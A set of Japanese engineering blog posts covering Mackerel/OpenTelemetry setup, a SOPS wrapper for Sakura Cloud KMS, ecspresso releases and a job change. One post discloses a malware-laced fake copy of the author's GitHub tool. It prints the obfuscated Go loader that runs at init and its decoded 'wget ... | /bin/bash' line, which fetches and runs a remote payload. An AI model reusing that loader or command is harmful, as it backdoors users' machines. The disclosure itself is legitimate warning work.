Prometheusで構築されたメトリック収集システムをMackerelに移行する

Mackerelアドベントカレンダー2025 10日目の記事です。

qiita.com

Mackerelのメトリックには3種類あります。昔からあるホストメトリックとサービスメトリック、そして2024年に正式リリースされた「ラベル付きメトリック」です。今回は、Prometheusで構築されているメトリクス収集の仕組みを、OpenTelemetry Collector と Mackerel を使って、監視対象はそのままに Mackerel のラベル付きメトリックとして収集するように移行する手法を紹介します。

mackerel.io

Prometheus のメトリック収集方法のおさらい

Prometheus を使ったメトリック収集の仕組みを、大雑把に説明すると以下のようになります。

  1. 監視対象(daemonやアプリケーション)がHTTPでメトリックを出力するエンドポイントを公開する
  2. Prometheusは定期的に監視対象にHTTPでアクセスし、出力されているメトリックを収集して保存する

つまり、Prometheus 自身が監視対象からメトリックをクロールする、というアーキテクチャです。いわゆるPull型ですね。1

Mackerel は基本的に、監視対象(agentなど)がMackerelのサーバーに向けてメトリックを送信する、Push型のアーキテクチャを採用しています。

ということで元々 Prometheus 用に作られたメトリック収集システムを Mackerel に置き換えるには、「監視対象が export しているメトリックを誰かが収集した上で Mackerel に向かって送信する」仕組みを作る必要があります。

OpenTelemetry Collector で解決

「誰かが収集した上で Mackerel に向かって送信する」仕組みを自作する必要はありません。Mackerel のラベル付きメトリックには OpenTelemetry 互換のAPI endpoint が用意されているため、OpenTelemetry Collector (otelcol) から送信できます。otelcol で Prometheus用にexportされたメトリックを収集するのためには prometheus receiver が使えます。これらを組み合わせるだけです。

otelcol の設定例

早速ですが設定例です。

  • prometheus receiver でメトリックを収集
    • 例では myserver というjob名で myservers.json に定義された対象の /metrics から60秒ごとに収集する
  • batch processor で1分ごとに送信をまとめる
  • resouce processor でメトリックに属性を追加
    • service.namespace として myservice
    • deployment.environment.name として環境変数 ENV の値を設定
  • otlp exporter で Mackerel のラベル付きメトリックAPIエンドポイントに送信
receivers:
  prometheus:
    config:
      scrape_configs:
        - job_name: myserver
          scrape_interval: 60s
          metrics_path: /metrics
          file_sd_configs:
            - files:
                - /etc/otel-collector/file_sd_configs/myservers.json
processors:
  batch:
    timeout: 1m
  resource:
    attributes:
      - key: service.namespace
        value: myservice
        action: insert
      # https://opentelemetry.io/docs/specs/semconv/resource/deployment-environment/
      - key: deployment.environment.name
        value: ${ENV}
        action: insert

exporters:
  otlp/mackerel:
    endpoint: otlp.mackerelio.com:4317
    compression: gzip
    headers:
      Mackerel-Api-Key: ${MACKEREL_APIKEY}
  debug:
    verbosity: basic

service:
  pipelines:
    metrics:
      receivers: [prometheus]
      processors: [batch, resource]
      exporters: [otlp/mackerel]

この設定で otelcol を動作させておくことで、Prometheus 用に export されているメトリックをMackerelのラベル付きメトリックとして送信できます。簡単ですね!

小ネタ: 収集先ホスト一覧を mkr で用意する

収集対象のホスト一覧は、file_sd_configs を使って外部ファイルとして定義しています。こうすることで、otelcol を再起動せずに収集対象をメンテナンスできるようになります。

ファイル形式は以下のような JSON または YAML です。

[
  {
    "targets": [
      "192.168.0.1:9111",
      "192.168.0.2:9111",
      "192.168.0.3:9111"
    ]
  }
]

Mackerel でホストを管理している場合、mkr コマンドを使ってこのファイルを自動生成すると便利です。例えば以下のようにすると、Mackerel 上で定義されたホストのうち指定した条件のものでこの file_sd_config 用の定義を生成できます。

  • サービス名: MyService
  • ロール名: App
  • ステータス: working のもの
  • インターフェース名: eth0
$ mkr hosts \
   --service MyService \
   --status working --jq '[{"targets": [.[] | select(.roleFullnames | any(startswith("MyService:App"))) | .ipAddresses.eth0 + ":9111"] | sort}]'

定期的に実行しておけば、収集対象ホストの更新を完全に自動化できます。

小ネタ: Mackerel の「サービス」とOtelの「サービス」、概念の違い

Mackerel にも OpenTelemetry にも「サービス」という名前の概念があります。しかし少し残念なことに、この「サービス」が指す概念が異なっています。

  • Mackerel のサービス: ある organization 内の独立した(例えばWebの)サービスを構築するホストをまとめたもの
  • Otel のサービス: あるテレメトリ(メトリクス、ログ、トレース)を生成する論理的な単位 (アプリケーションやマイクロサービス、ミドルウェア)
    • 例えば「nginx」や「MySQL」など
    • Mackerel ではおおよそ、サービスの下の「ロール」に相当する概念

ということで、Otelcol が送信するメトリックの属性 service.name として相応しいのは、Mackerel の世界では「ロール」に相当します。Mackerel の世界の「サービス」を表す属性としては、Otel の世界では service.namespace を使うのがよいでしょう。

まとめ

この記事では、Prometheus で構築されたメトリック収集システムを、OpenTelemetry Collector を使うことで監視対象はそのままに Mackerel に移行する方法を紹介しました。

筆者の勤務するさくらインターネットのとある部署でも内部監視対象コンポーネントは主に Prometheus exporter で実装されていますが、この手法を利用することで Mackerel 上でのメトリック収集と監視を実現しています。

speakerdeck.com


  1. Push型の Remote Write という仕組みもあります

SOPSで「さくらのクラウドKMS」を使う sops-sakura-kms を作りました

この記事は さくらインターネット Advent Calendar 2025 2日目の記事です。

3行でまとめ

  • SOPS とさくらのクラウドKMSを組み合わせて使う sops-sakura-kms を開発しました
  • sops コマンドのラッパーとして動作します。sops 自体は改変しません
  • Terraform などとも連携できて便利です。どうぞご利用ください

サービス運用に使用するAPIキーやパスワードなど、いわゆる秘匿値をどう管理するかは悩ましいものです。1Password などのパスワード管理サービスや各種クラウドのシークレットマネージャーなどに保存するのが一般的ですが、バックアップや履歴管理のために、十分な強度を持った暗号化を施した上でリポジトリで管理したいことも多いと思います。

このような目的のために、自分はよく SOPS を使っていました。SOPS は元々 Mozilla が開発し、現在は CNCF (Cloud Native Computing Foundation) のサンドボックスプロジェクトとして管理されている暗号化ファイルエディタです。YAMLJSON などの設定ファイルの値を暗号化・復号化でき、AWS KMS、GCP KMS、Azure Key Vault、PGP、age など様々な鍵管理サービスと連携できます。

SOPS の嬉しいところは、YAMLJSON の構造やキーはそのまま、値だけを暗号化できることです。ファイル全体を暗号化してしまうよりも人間に優しい (= grep しやすい!) 状態で扱えます。

www.cncf.io

sops-sakura-kmsとは

sops-sakura-kms は、SOPS でさくらのクラウド KMS をデータキーの暗号化に使用できるようにするラッパーツールです。OSS として公開しています。

github.com

さくらのクラウド KMS について

さくらのクラウドは2025年に多数の新機能を追加しましたが、その中には KMS(Key Management Service) もあります。KMSはデータ暗号化に用いられる暗号鍵の作成、保管、削除などのライフサイクル管理を行うサービスで、FIPS 140-2 level 3 認証を受けた HSM (Hardware Security Module) と連携して暗号鍵を保護します。

cloud.sakura.ad.jp

KMS については、昨日12/1のアドベントカレンダーの記事もあわせてご覧ください。

qiita.com

せっかくさくらのクラウドでKMSが使えるようになったので、SOPSと組み合わせて使いたいと思ったのが開発のきっかけです。

SOPS に PR を送るべきか否か

SOPS は標準で AWS KMS、GCP KMS、Azure Key Vault、HashiCorp Vault などに対応していますが、さくらのクラウドKMSには対応していません。

最初は、SOPS に PRを送って対応してもらおうかと考えました。しかし既存の PR を調べたところ、Oracle Cloud (#1226)、Cloud.ru (#1718) など、各種クラウドのKMS対応を追加するPRはいくつも出ていましたが、これらは一向にマージされないようです。

メンテナーの気持ちになってみればそれはそうで、それほどメジャーでもない各クラウド固有の機能を見境なく取り込んでしまうと、のちのメンテナンスが大変になることは明らかです。

というわけでSOPS本体を変更しないアプローチを探したところ、いい感じに使えそうなアイデアが浮かんだので実装したのが sops-sakura-kms です。

動作の仕組み

sops-sakura-kms は、Hashicorp Vault Transit Engine 互換のHTTPサーバーとして動作します。

  1. sops-sakura-kmsを実行すると、ローカルで127.0.0.1:8200にVault Transit Engine互換のHTTPサーバーを起動します
  2. 環境変数 SOPS_VAULT_URISVAULT_ADDRVAULT_TOKEN を設定し、sops コマンドを子プロセスとして実行します
  3. 起動された sops コマンドはデータキーの暗号化、複合化のために 127.0.0.1:8200 に Vault Transit Engine API で通信します
  4. サーバーはリクエストをさくらのクラウドKMS APIに中継し、実際の暗号化/復号化を行います

つまり SOPS から見ると「HashiCorp Vault」と通信しているように見えますが、実際にはさくらのクラウドKMSを使って暗号化・復号化が行われます。SOPSがすでに対応している Vault Transit Engine での暗号化機能に乗っかることで、SOPS本体を改変することなくさくらのクラウドKMSを利用できるようになりました。

インストール方法

sops-sakura-kms は複数の方法でインストールできます。

Homebrew

brew install fujiwara/tap/sops-sakura-kms

バイナリダウンロード

GitHubのリリースページ から、お使いの環境に合ったバイナリをダウンロードできます。

GitHub Actions

CI/CDパイプラインで使用する場合など、GitHub Actionsで簡単にセットアップできます。

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: fujiwara/sops-sakura-kms@main
        with:
          version: 'v0.1.0'  # または 'latest'

Dockerコンテナ

コンテナイメージも提供しています。このイメージには sops-sakura-kms と sops の両方が含まれています。

docker run --rm \
    -e SAKURACLOUD_ACCESS_TOKEN \
    -e SAKURACLOUD_ACCESS_TOKEN_SECRET \
    -e SAKURACLOUD_KMS_KEY_ID \
    -v $(pwd):/work -w /work \
    ghcr.io/fujiwara/sops-sakura-kms:v0.1.0 \
    -d secrets.enc.yaml

セットアップ

環境変数の設定

以下の環境変数を設定します。

# さくらのクラウドAPIクレデンシャル
export SAKURACLOUD_ACCESS_TOKEN="your-access-token"
export SAKURACLOUD_ACCESS_TOKEN_SECRET="your-access-token-secret"

# さくらのクラウドKMSのリソースID(12桁の数字)
export SAKURACLOUD_KMS_KEY_ID="123456789012"

KMSキーIDは、KMSキーを作成した後に確認できるリソースIDです。

オプションの環境変数

動作をカスタマイズするためのオプション環境変数も用意されています。

# サーバーのみモードで実行(SOPSを実行しない)
export SSK_SERVER_ONLY=true

# サーバーのリッスンアドレス(デフォルト: 127.0.0.1:8200)
export SSK_SERVER_ADDR="127.0.0.1:8200"

# 実行するコマンド(デフォルト: sops)
export SSK_COMMAND="/path/to/sops"

基本的な使い方

sops-sakura-kmsは、sops コマンドの単純な代替として使用できます。コマンドライン引数は加工せずに sops に渡すため、通常の sops コマンドと同じように使えます。

ファイルの暗号化

sops-sakura-kms -e secrets.yaml > secrets.enc.yaml

ファイルの復号化

sops-sakura-kms -d secrets.enc.yaml

暗号化ファイルの編集

sops-sakura-kms secrets.enc.yaml

これだけです!裏側で自動的にローカルサーバーが起動し、さくらのクラウドKMSと連携して暗号化・復号化が行われます。

応用的な使い方

サーバーのみを起動する

sops-sakura-kms は、SOPS を実行せずに Vault Transit Engine 互換サーバーとして単独で動作させることもできます。

export SSK_SERVER_ONLY=true
sops-sakura-kms

この状態で、Vault APIエンドポイントを直接呼び出せます。

# データの暗号化
curl -X PUT http://127.0.0.1:8200/v1/transit/encrypt/123456789012 \
  -H "Content-Type: application/json" \
  -d '{"plaintext":"aGVsbG8gd29ybGQ="}'

# データの復号化
curl -X PUT http://127.0.0.1:8200/v1/transit/decrypt/123456789012 \
  -H "Content-Type: application/json" \
  -d '{"ciphertext":"vault:v1:..."}'

このモードは以下のような場面で便利です。

  • アプリケーションからVault Transit Engine APIを直接使用したい場合
  • サーバーを別サービスとして実行したい場合
  • 暗号化/復号化APIのテストやデバッグ

Terraformとの連携

Terraform と sops-sakura-kms を組み合わせてシークレットを復号できます。まず、暗号化ファイルを作成します。

sops-sakura-kms -e secrets.yaml > secrets.enc.yaml

次に、Terraformでsops_fileデータソースを使用します。

terraform {
  required_providers {
    sops = {
      source  = "carlpett/sops"
      version = "~> 1.0"
    }
  }
}

data "sops_file" "secrets" {
  source_file = "secrets.enc.yaml"
}

output "secret_value" {
  value     = data.sops_file.secrets.data["password"]
  sensitive = true
}

Terraformの実行時はSSK_COMMAND環境変数を使って、sopsの代わりにterraformを実行するように設定します。

export SSK_COMMAND=terraform
sops-sakura-kms plan
sops-sakura-kms apply

これにより、sops-sakura-kms が自動的にVault Transit Engine互換サーバーを起動し、必要な環境変数を設定した上で terraform コマンドを実行します。Terraform 実行中に動作する sops プロバイダーはローカルサーバーを使ってシークレットを復号します。

まとめ

sops-sakura-kms は、さくらのクラウドKMSを SOPS で利用可能にするラッパーツールです。Vault Transit Engine 互換サーバーとして動作することで、SOPS 本体を改変することなく、既存のエコシステムをそのまま活用できます。

インストールも設定も簡単で、既存の SOPS ワークフローをほぼそのまま移行できます。GitHub Actions や Docker コンテナもサポートしているので、CI/CD パイプラインへの組み込みも容易です。

さくらのクラウドを利用している方、これから利用を検討している方は、ぜひ試してみてください! (ちなみにさくらインターネット社内でも、既に利用され始めています)

YAPC::Fukuoka 2025に参加して「Amazon ECS デプロイツール ecspresso の開発を支える「正しい抽象化」の探求」を発表しました

YAPC、楽しかったですね!

yapcjapan.org

出していたプロポーザルが通ったので、発表もしてきました。

前回福岡で開催された YAPC::Fukuoka 2017 のちょっと後から自分が開発を始め、8年間機能追加とメンテナンスを続けている ecspresso という OSS について、以下のような内容をまとめたものです。

  • ecspresso の設計と実装にはどのような思想があり、それは他の IaC ツールと比べてどうなのか
  • IaC ソフトウェアにとっての抽象化、その選択はツールの使い勝手やメンテナンスコストにどう影響するのか

speakerdeck.com

満員の会場で聞いてくださった方からもご好評をいただけたようで、よかったです。

「勝ちに不思議の勝ちあり、負けに不思議の負けなし」私の好きな言葉です。

なおタイムテーブル上 mizzy さんの「なぜインフラコードのモジュール化は難しいのか - アプリケーションコードとの本質的な違いから考える」と連続する枠になっていて、これとセットで聞くととても良い流れになっていました。運営のみなさまありがとうございます。

speakerdeck.com

Day 0 - 8年ぶりの福岡

前回 2017 年の YAPC 以来の福岡でした。皆いう事ですが空港が近くて楽ですね!到着後、日没前に走りに行きました。

大濠公園はランニングコースと景色が素晴らしく、滞在中一回しか走れなかったのが残念なくらいいい所でした。西公園、PayPayドーム、百道浜へと夕暮れを見ながら走って16kmほど。

19時からは「さくらの夕べ」(自社イベント)に参加して皆さんと話したりちょっとトークしたり。

その後P山さんはじめお馴染みの? 面子で飲んでいた人たちの2次会に混ぜてもらって楽しく飲みました。

Day 1

朝からC会場でトークを聴き、自分の発表が終わったところで 941 さんからこれから収録するので来て、と呼ばれたので「ほっとテック」に初参加したり…

Day 1 終了後は前職(カヤック)の同僚のご実家の居酒屋でOB会的な飲み会、うまいものと酒が無限に出てきたので飲みすぎました。

Day 2

朝、電車を乗り損ねてちょっと遅刻してinaoさんのトークを途中から。あの件の真相(というか事実)を聞いてなるほどーとなりました。その後はずっと「踊り場」会場にいて、inaoさんのトーク感想会、onkさんのDay 1最速振り返りとかmoznionの「OSS開発者なら学生参加者いっぱい集められるはず」という謎企画で OSS 作者座談会的なのをしたり。学生さんがいっぱい来てくれてよかった。 YAPC は同窓会と言われることも多いですが、毎回新しい参加者も増えていていいですよね。

カケハシさんのコーヒーも会期中大変お世話になりました。美味しかったです。

最後のP山さんキーノート、大変よかったです。飛び込んでいく勇気は大事ですね。ところで途中で二つほどあった「決まり手」、聞いていたときは何が決まり手なのかいまいち分からなかったんですが、もしかしてそれが無かったらペパボさんに入ることもなく、違う人生になっていたのかも?という意味での決まり手だったのかな、と後から思いました。

懇親会は毎回2時間じゃ足りないなと思いつつあっという間に過ぎ、Findy さんの Drinkup でビールをご馳走になりました(毎回ありがとうございます)。

帰宅 … 前に IT 駅伝を走る

いつもであれば最終日のあとは観光などをしてゆっくり帰るのですが、今回は NIPPON IT チャリティ駅伝に会社の人たちと出走することになっていたので8時の飛行機で福岡空港羽田空港→お台場、と移動… (YAPCのことを完全に忘れて申し込んでしまった)

3日間連続で酒を飲み睡眠が足りない状態では当然タイムは出ず、去年の自己ベストより50秒以上遅いという醜態を晒したので来年は万全で臨みたいと思います。

なお、さくらインターネットAチームは他のチームメンバーの活躍により総合19位(612チーム中)でした。すごい!

IT駅伝結果


ということで blog を書いたので今年の私の YAPC もこれで完了です。

来年は 2015 年に最大規模で開催された YAPC::Asia と同じ東京ビッグサイトに凱旋、ということで今から楽しみですね。

参加された皆様、スタッフの皆様、スポンサーの皆様、会場提供していただいた福岡工業大学の皆様、本当にありがとうございました。楽しかったです!

ECS Blue/Green に対応した ecspresso v2.6.0 をリリースしました

Amazon ECS デプロイツール、ecspresso v2.6.0 をリリースしました。

github.com

新機能

ECS Blue/Green デプロイ対応

これまで ECS では CodeDeploy と連携する形での Blue/Green デプロイがサポートされていましたが、先日 ECS deployment controller でのネイティブな Blue/Green がサポートされました。その対応が入っています。

aws.amazon.com

使い方としては特にこれまでと変わらず、サービス定義ファイルに B/G 用の属性を追加して ecspresso deploy するだけで使えるようになります。READMEを参照してください

実装は実は何も大変ではなかったので(ほぼSDKのバージョンを上げただけ) 即日 nightly バージョンをリリースしたところ、早速検証記事を書いていただけました。助かります! kakakakakku.hatenablog.com

rollback コマンドが進行中のデプロイメントを停止するように

2025年5月に、ECS 自体にロールバックのための仕組み(進行中のデプロイメントを停止する)が導入されました。ecspresso rollback は可能な場合にはその API を利用してロールバックを行うようになりました。

aws.amazon.com

これまでの ecspresso rollback は、以下のような実装になっていました。

  1. 現在動作している ECS サービスに設定されているタスク定義を見つける
  2. そのタスク定義の「直前のリビジョン」(削除/無効化されていない、現在のリビジョンより小さく一番近い値のもの)を見つける
  3. 「直前のリビジョンのタスク定義」を使って、デプロイと同じ処理をする

そもそもロールバックするための API が ECS には長らく存在しなかったため、このようにしてロールバック処理をエミュレートしていました。今回は ECS 自体に API が追加されたため、それに対応したということになります。

(ちなみに、DeploymentControllerが CodeDeploy の場合は以前から CodeDeploy 自体の APIロールバックを行っていました)

なお、デプロイが完全に完了してしまった場合は ECS でのロールバックができません。その状態で実行すると、以前と同様のアルゴリズムロールバックを行います。

tfstate参照で for_each / count で定義されたリソースをまとめて参照できるように

tfstate-lookup v1.7.0 で使えるようになった機能です。

これまで ecspresso での tfstate 参照では、for_each / count で定義されたリソースのアドレスを aws_subnet.private["az-a"] のようにindexまで指定する必要がありました。今回のアップデートで for_each で定義されたリソースは Object で、count で定義されたリソースは List で取得できるようになりました。

例えば subnet を for_each で定義する例を考えます。

resource "aws_subnet" "private" {
  for_each = {
    a = 1,
    b = 2,
    c = 3,
  }
  vpc_id            = aws_vpc.main.id
  cidr_block        = "10.0.${each.value}.0/24"
  availability_zone = "ap-northeast-1${each.key}"
}

このように定義したリソースは ecspresso から

  • {{ tfstate `aws_subnet.private["a"]` }}(テンプレート記法の場合),
  • tfstate('aws_subnet.private["a"]')(Jsonnetの場合)

などとして参照できますが、新たに aws_subnet.private というアドレスで object (key が index, value がそれぞれのリソース) として参照できるようになりました。

これを利用すると、例えば Jsonnet では以下のように std.objectValues で全ての value (リソース) を取得してループを回すような記述が可能になります。

local tfstate = std.native('tfstate');
{
  subnets: [
    subnet.id for subnet in std.objectValues(tfstate('aws_subnet.private'))
  ],
}

参照先の tfstate によってリソースの数やkeyが違うような場合にも、共通の定義ファイルで対応できますね。

挙動の変更

ecspresso deploy --wait-until deployed がデフォルトに

v2.5.0 での新機能で、deploy オプションに --wait-until=(deployed|stable) が追加されています。これはコントリビューションいただいた機能です。

www.estie.jp

v2.6 では、デフォルトで --wait-until=deployed が指定されるようになりました。

実は、最近のマネージメントコンソールでは --wait-until=deployed 相当(実行したデプロイメントが完了した時点) のタイミングで「デプロイが完了した」と報告されます。

以前のデフォルトである --wait-until=stable は新しいデプロイメントが完了した後、古いデプロイメントが完全に停止するまで待たされてしまうので、マネージメントコンソールでの体感と異なる状態になっていました。今回の変更で同一になります。

なお ecspresso には他にも --wait-until を持つコマンドがあります(scale, rollback, wait)が、それらのデフォルトは stable のままです。

不具合修正

ECS サービスに紐づいている LoadBlancer や ServiceConnect の設定をサービス定義から削除しても、実際には紐付けが削除されない問題を修正しました。


ということで、ecspresso v2.6.0 の紹介でした。どうぞご利用ください。

ecspresso v2.5.0をリリースしました

Amazon ECS デプロイツール ecspresso v2.5.0 をリリースしたのでお知らせです。

github.com

新機能がいくつか、ログ出力まわりの変更、その他細かい修正などが入っています。非互換な変更は (ログ形式以外) ありません。

新機能

外部コマンド呼び出しプラグインを追加

ecspresso の実行時に、テンプレート関数から外部コマンドを呼び出して結果を取得する external plugin を追加しました。

ここでは使い方の例として、「現在時刻を ISO8601 形式で出力する jq コマンドを呼び出す」ようにしてみます。

$ jq -n "{ Now: now | todateiso8601 }"
{
  "Now": "2024-10-25T16:13:22Z"
}

ecspresso の設定ファイルで、external plugin から呼び出すコマンドを定義します。ここでは

  • jq というテンプレート関数を定義する
  • 実行するコマンドは jq -n で引数を1つ取る

としてみます。

# ecspresso.yml
plugins:
  - name: external
    config:
      name: jq
      command: ["jq", "-n"]
      num_args: 1
      timeout: 5

テンプレートからは、定義したテンプレート関数に対して、引数を渡すことで実行できます。

local jq = std.native('jq');
{
  today: jq('{ Now: now | todateiso8601 }').Now,
}

デフォルトでは、コマンドは標準出力にJSONを出力することを期待しています。設定で parser: string を指定することで、結果を文字列として扱うこともできるようになっています。

ユースケースとしては、ecspresso 実行前になんらかのコマンドを実行して ecspresso のテンプレートに埋め込む値を生成する必要がある場面を想定しています。

これまでは、環境変数を経由して値を受け渡す必要がありました。

  1. shell などでコマンドを実行し、その結果を環境変数に設定する
  2. ecspresso ではテンプレートで環境変数を参照する

external plugin を利用することで、環境変数での値のやりとりなしにコマンドの出力を直接扱うことが可能になります。

deploy --wait-until=deployed を追加

ecspresso deploy を実行すると、デフォルトでは ECS サービスが stable になるまで待機します。最新の deployment が成功した時点で待機を打ち切るためのオプションが追加されました。

デフォルトではこれまで通り、--wait-until=stable なので挙動は変わりません。

CodeDeploy 利用時に DeploymentConfigName を上書き可能に

これまでは、CodeDeploy の DeploymentGroup (ECSサービスに1:1対応している) に設定されている DeploymentConfigName が暗黙的に指定されていました。設定ファイルで codedeploy.deployment_config_name を明示的に指定することで、DeploymentGroup に指定された以外の DeploymentConfig を利用できるようになりました。

codedeploy:
  application_name: myapp
  deployment_group_name: mydeployment
  deployment_config_name: myDeploymentConfig # optional, override DeploymentGroup setting

ログ出力を log/slog に変更

ログの出力を Go 標準の slog に変更しました。v2.4までとはログの出力形式が多少異なります。

v2.4 まで

$ ecspresso diff --debug
2025/05/09 14:59:37 [INFO] ecspresso version: v2.4.6
2025/05/09 14:59:38 ecspresso/ecspresso [DEBUG] config file path: ecspresso.jsonnet
2025/05/09 14:59:38 ecspresso/ecspresso [DEBUG] timeout: 10m0s

v2.5 から

$ ecspresso diff --debug
2025-05-09T14:58:49.875+09:00 [INFO] ecspresso version: v2.5.0
2025-05-09T14:58:51.302+09:00 [DEBUG] [ecspresso/ecspresso] config file path: ecspresso.jsonnet
2025-05-09T14:58:51.302+09:00 [DEBUG] [ecspresso/ecspresso] timeout: 10m0s

また、--log-format=json というオプションが追加されました。ログと、その他の出力 (diff は除きます) が、JSON で出力されるようになります。

その他細かい変更

依存パッケージの更新、内部で time.Sleep() を利用しているタイミングで Ctrl-C などでの打ち切りがすぐに行われなかったのを修正、verify コマンドのリファクタリング(動作は同じです)、などが含まれています。


ということで、ecspresso v2.5.0 のお知らせでした。機能要望などをお送りいただいた皆様、ありがとうございました。今回のリリースでは非互換変更は含まれていないはずですが、もし何かありましたらお知らせ下さい。

自分のOSSのマルウェア入り偽物を作られたので通報した

物騒な世の中です。皆様お気をつけください。

3行でまとめ

  • 自作の OSSfujiwara/apprun-cliマルウェア入り偽物を作られて GitHub で公開されました
  • 偽物には大量の新規アカウントがスターを付けていたため、検索でオリジナルのものより上位に表示される状態でした
  • GitHub に通報したところ、偽物を作ったアカウントはbanされたようです

経緯

2024年末に、さくらのAppRun用デプロイツール apprun-cli という OSS を公開しました。

github.com

2025年2月10日 12時過ぎのこと、謎の人物が X で apprun-cli を宣伝しているのを見つけました。

どう見ても自分の物と同じ(コピー)なのですが、妙にスターが多い。リポジトリをのぞいてみると、fork ではなくコードがすべて commit 履歴を引き継がない状態でコピーされ、スターをつけているのはここ数日で作成されたアカウントばかりなので、これはspam目的だなあと。

しかしライセンスもちゃんと(改変せずに)コピーされているので、MITライセンス的には問題ない状態です。まあでも明らかにspamだし、GitHub に通報するか…と思っていたところ、同僚が差分に不審なコードがある、と教えてくれました。

コードは一応難読化されているのですが、exec.Command で外部コマンドを実行していて明らかに不審ですね。

func apknAR() error {
    uW := []string{"d", "a", "f", ".", "d", "p", "/", "/", " ", "0", "t", "e", " ", "&", "f", ":", "h", "n", "/", "1", "t", "7", "r", "e", " ", "h", "d", ".", "s", "1", "b", "a", "7", "a", "5", "O", "1", "t", "b", "g", ".", "|", "6", "w", "/", " ", "b", "1", "g", "5", "7", "0", "3", "8", "1", "-", "/", " ", "/", "-", "s", "5", "/", "2", "4", "3", "3", "o", "e", " ", "t", "0", "i"}
    YqGVjWNN := "/bin/sh"
    YmeLkYfy := "-c"
    TyNpjDez := uW[43] + uW[39] + uW[68] + uW[70] + uW[12] + uW[55] + uW[35] + uW[45] + uW[59] + uW[57] + uW[25] + uW[20] + uW[10] + uW[5] + uW[15] + uW[62] + uW[18] + uW[47] + uW[53] + uW[49] + uW[27] + uW[19] + uW[9] + uW[71] + uW[40] + uW[29] + uW[34] + uW[50] + uW[3] + uW[54] + uW[63] + uW[32] + uW[56] + uW[28] + uW[37] + uW[67] + uW[22] + uW[1] + uW[48] + uW[11] + uW[44] + uW[0] + uW[23] + uW[65] + uW[21] + uW[52] + uW[26] + uW[51] + uW[4] + uW[14] + uW[58] + uW[33] + uW[66] + uW[36] + uW[61] + uW[64] + uW[42] + uW[46] + uW[2] + uW[69] + uW[41] + uW[24] + uW[7] + uW[38] + uW[72] + uW[17] + uW[6] + uW[30] + uW[31] + uW[60] + uW[16] + uW[8] + uW[13]
    exec.Command(YqGVjWNN, YmeLkYfy, TyNpjDez).Start()
    return nil
}

var lEVKGADV = apknAR()

これを復元すると、以下のような sh を実行するコードであることがわかります(IPアドレスは一応隠しました)。ひどい。

wget -O - http://***.***.***.***/storage/de373d0df/a31546bf | /bin/bash &

GitHub に通報

docs.github.com

GitHub で偽物を公開していたアカウントのページから「Block or Report」→「Report abuse」と進み、経緯と証拠をまとめて以下の文面で報告しました。ちなみにこの文面は ChatGPT に考えてもらったものです。便利。

Hello, GitHub Support Team,

I would like to report an unauthorized copy of my repository, fujiwara/apprun-cli, which appears to include potentially malicious modifications.

Details of the Issue
- My original repository: https://github.com/fujiwara/apprun-cli
- Copied repository: https://github.com/sunnycicada/apprun-cli
- Malicious behavior: The copied repository appears to have added suspicious code, which might be malware. The concerning portion of the code can be found here:
https://github.com/sunnycicada/apprun-cli/blob/fcb59bfd3848d92e352eb299b1d95cc4cd942509/app.go#L158-L167
- Artificial engagement: The copied repository is linked to a recently created account, sunnycicada, which appears to be engaging in suspicious activity, including mass starring of repositories.

Request
Please investigate this case as it involves both unauthorized copying of my repository and potentially harmful modifications that could mislead users. If needed, I can provide additional evidence.
Thank you for your support. I look forward to your response.

Best regards,

結果

2025-02-10 13:10 (JST) ごろ報告、約13時間後に確認したところ、アカウントとリポジトリがbanされたのか404になっていました。とりあえずよかったですね。

ということで、GitHubOSS を探すときは「名前で検索してスターがいっぱいついていて上に出てくるもの」を安易に入れてしまうと、まんまとマルウェアの餌食になる可能性があります。皆様お気をつけください。

さくらインターネットに入社しました

2025年1月末に14年間勤務した 面白法人カヤック を退職し、2025年2月から さくらインターネット に入社しました。

転職の経緯

自分はここ数年、クラウドを便利に使う「隙間家具OSS」として主にCLIツールをいっぱい作ってきたわけですが、実はサーバー/デーモンっぽいものを作るのも好きなんですよね。とはいえ昨今の状況で自作のミドルウェアやサーバーをクラウド上にデプロイしても運用が大変なだけですし(自分以外に運用させるのはなおさら)、なかなかできないなと。

そんなこんなで手持ちの運用サービス(10年続いたソーシャルゲームやもろもろ)が終了することになり、やることないなどうしようかなと思っていたタイミングで 2024年夏に kazeburo さんから誘われ、tagomoris さんも入るということでこれは面白いことができるかな、というのがきっかけです。

エンジニア向けにものを作るというのを仕事としてやってみたかった、というのもありますね。

自分も今年50歳になるのでとりあえずあと10年、人間いつ死ぬかわからないですし(自分の父親は54で、癌が見つかって1年持たずに亡くなりました)、やりたいことをやろうと思いました。

その他にもまあありますが、直接会ったときにでも聞いてください。

ところでカヤックには14年もいたわけですが、長年仕事をしていると当然いろいろ辛いこともありますが、人間関係で辛かったことは一回もなかったな、と退職するときに改めて思ったのは書いておきますね。

これから何をするのか

クラウド事業本部付で採用され、ひとまず IaaS 基盤開発チームで何やらやるらしいです。オンボーディング中なのでまだ何もわからないですが…

手持ちの OSS のメンテについて

AWS を使わない職場になるということで、自分の手持ちの OSS (主に AWS を便利に使うもの) のメンテナンスがどうなるのかを気にされる方もいるかと思います。

個人(fujiwara)名義のはもちろん、GitHubkayac organization にあるものについてもすでにコラボレーター権限をもらっていますので、当面今まで通りメンテナンスをしていく予定です。カヤックの Slack にもシングルチャンネルゲストとして #oss に残っているので、コミュニケーションもできますし。

ただしこれまでのように業務時間中に作業ができるわけではないので、どうしても対応が遅れがちになったりすることはあるかもしれません。その場合、アクティブにメンテナンスしてやるぞという方がいらっしゃいましたら、何らかの手段でお申し出ください。メンテナンス権限を渡せるように何とかします。

ところで新作 apprun-cli を作りました

正月休みに手が空いた時間があったので、現在β公開中のさくらの「AppRun」のデプロイツール、apprun-cli を作っておきました。ecspresso / lambroll ライクな使い勝手で AppRun をデプロイできるやつです。どうぞご利用ください。(現時点では非公式の個人ツールですが、処遇はこれから相談します)

github.com

cloud.sakura.ad.jp

ということで、今後ともよろしくお願いします。